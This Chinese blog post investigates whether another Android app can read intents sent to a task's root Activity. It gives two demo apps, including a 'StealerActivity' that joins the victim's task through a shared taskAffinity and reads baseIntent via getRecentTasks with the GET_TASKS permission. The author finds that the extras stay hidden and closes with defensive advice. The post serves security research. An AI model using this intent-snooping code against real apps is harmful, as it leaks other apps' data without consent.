关于“Android所有根Activity中的Intent都存在被其它程序读到风险”的研究

这几天在研究《Android Application Secure Design/Secure Coding Guidebook》,看到其中有一段说道如果一个Activity刚好是Task的根Activity的话,别的程序可以轻易读到发送给该Activity的Intent。顿时觉得比较好奇,稍微研究了一下。

首先,什么是根Activity呢?所谓根Activity其实就是在一个Task中启动的第一个Activity。所有发送给Task根Activity的Intent都会被记录在Task的历史记录中。这样如果另外一个程序的Activity能够加入到那个根Activity的Task栈中,就能够轻易的读到所有发送给该根Activity的Intent。要查到一个Task的历史记录,必须要使用ActivityManager类,并且需要声明使用GET_TASKS权限。

真的是这样吗?下面我们设计一个场景来验证一下看看。假设有两个程序A和B,他们分别有两个Activity,分别编号1和2,这样的话就一共有四个Activity,分别为A1、A2、B1和B2。程序A启动的时候首先打开A1,在A1里面发送Intent,打开A2,并且要求A2创建在一个新Task里,这样A2就是新Task的根Activity。然后启动程序B,先打开B1,在B1里启动B2,并要求B2创建在A2的同一个Task里,看看到底能不能读出Intent信息。

好了,说了那么多,开始行动。先设计程序A,其AndroidManifest.xml如下:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.importantapp"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="18" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" 
        android:debuggable="true" >
        <activity
            android:name="com.example.importantapp.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
        <activity
            android:name="com.example.importantapp.ImportantActivity"
            android:label="@string/app_name" 
            android:taskAffinity="com.roland.sun.stealer" 
            android:launchMode="singleTask" >
        </activity>
    </application>

</manifest>
看到共有两个Activity,MainActivity和用来被窃取Intent信息的ImportantActivity。注意了,为了保证ImportantActivity被创建在一个新的Task里,我在这里把launchMode设为singleTask,为了保证窃取Intent信息的Activity能和ImportantActivity在同一个Task中创建,我设置了taskAffinity属性。

下面来看看程序B的AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.intentstealer"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="18" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" 
        android:debuggable="true" >
        <activity
            android:name="com.example.intentstealer.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
        <activity
            android:name="com.example.intentstealer.StealerActivity"
            android:label="@string/app_name" 
            android:taskAffinity="com.roland.sun.stealer" 
            android:launchMode="singleTask" >
        </activity>
    </application>

	<uses-permission android:name="android.permission.GET_TASKS" />
</manifest>
有两点值得提一下,首先,偷信息的StealerActivity也设置了taskAffinity属性,并且取值和前面的一样。其次,要声明使用android.permission.GET_TASKS权限。
下面来看看Activity是如何实现的,先来看看所谓的A1,即第一个程序的MainActivity:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {  
        @Override  
        public void onClick(View v) {  
            Intent intent = new Intent(MainActivity.this, ImportantActivity.class);
            intent.putExtra("name", "Roland Sun");
            
            startActivity(intent);
        }
    });
}
很简单,如果按了Button,就创建一个新的Intent用来启动新的Activity,并且这个Intent里面还带了用户名的信息。

再来看看所谓的A2,也就是ImportantActivity的实现:

protected void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.activity_important);
		
	Log.v("Important", getIntent().getStringExtra("name"));
}
很简单,启动后获取发送给它的Intent,并在Log中打印出用户名的信息。
下面来看看B1,即偷取Intent信息程序的MainActivity的实现:

protected void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.activity_main);
		
	findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {  
            @Override  
            public void onClick(View v) {  
            	Intent intent = new Intent(MainActivity.this, StealerActivity.class);  
            	startActivity(intent);
            }
	});
}
很简单,直接把那个干坏事的B2,也就是这里的StealerActivity启动起来就行了。重点在这个偷Intent的Activity里:
protected void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.activity_stealer);
		
	// Get an ActivityManager instance
	ActivityManager am = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
	// Get at most 100 recent task info items
	List<ActivityManager.RecentTaskInfo> list = am.getRecentTasks(100, 
							ActivityManager.RECENT_WITH_EXCLUDED);
	for (ActivityManager.RecentTaskInfo r : list) {
		// Get Intent sent to root Activity
		Intent intent =  r.baseIntent;
			
		if (!intent.getComponent().getClassName().endsWith("ImportantActivity"))
			continue;
			
		Log.v("Stealer", intent.toString());
			
		String name = intent.getStringExtra("name");
		if (name != null) {
			Log.v("Stealer", name);
		}
	}
}
首先获得ActivityManager实例,然后获取这个Activity所在Task的所有历史记录,接着遍历这些记录,去除其中的Intent信息,并且查看这个Intent是否是发给要监听的那个Activity的(通过从Intent中获得组件中的类名来过滤),最后在Log中打印Intent并且试着获得该Intent中的附加信息。

编译这两个程序,并试着在设备上运行,看一下结果。顺序是,先打开程序A,从而启动A1,点击上面的Button,启动A2,再按Home键,把这个Activity程序切换到后台,接着打开程序B,点击B1上的Button,启动B2。

先来看看Task的执行状况,将设备连接上电脑(笔者的设备是一台Google Nexus 7二代,Android 4.4.3),打开debug模式,键入命令:

adb shell dumpsys activity
可以在输出中,找到以下信息:

 Stack #1:

    Task id #62

      TaskRecord{652fd1b0 #62 A=com.roland.sun.stealer U=0 sz=2}

      Intent { cmp=com.example.importantapp/.ImportantActivity (has extras) }

        Hist #1: ActivityRecord{656c89a8 u0 com.example.intentstealer/.StealerActivity t62}

          Intent { flg=0x400000 cmp=com.example.intentstealer/.StealerActivity }

          ProcessRecord{65a86b08 24059:com.example.intentstealer/u0a86}

        Hist #0: ActivityRecord{655c2b18 u0 com.example.importantapp/.ImportantActivity t62}

          Intent { cmp=com.example.importantapp/.ImportantActivity (has extras) }

          ProcessRecord{6531ce10 23869:com.example.importantapp/u0a85}
这就证明了A2(ImportantActivity)和B2(StealerActivity)在一个Task栈中。
下面来翻翻Log,可以找到下面的记录:



看到没有,StealerActivity确实获得了发送给ImportantActivity的Intent信息,但是没有如愿打印出用户名信息。

这说明什么问题?说明如果一个Activity是一个Task的根Activity,确实存在风险,让其它的应用程序获得发送给该Activity的所有Intent,但是信息量非常有限,最重要的附加信息是获取不到的。所以,想用这个干坏事的同学们可以回家洗洗睡了。

好了,最后来总结一下想要利用这个风险的前提条件:

1)那个你想窃取信息的Activity必须出现在一个Task的根中;

2)要窃取信息的Activity必须能够保证被加载到那个Task中(没有taskAffinity属性这种情况几乎没办法出现);

3)用户必须授予窃取信息程序android.permission.GET_TASKS权限。

以上条件缺一不可,并且即使都满足,获得信息量也是非常有限的。

为了保证万无一失,在《Android Application Secure Design/Secure Coding Guidebook》中,要求禁止使用taskAffinity和launchMode属性。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值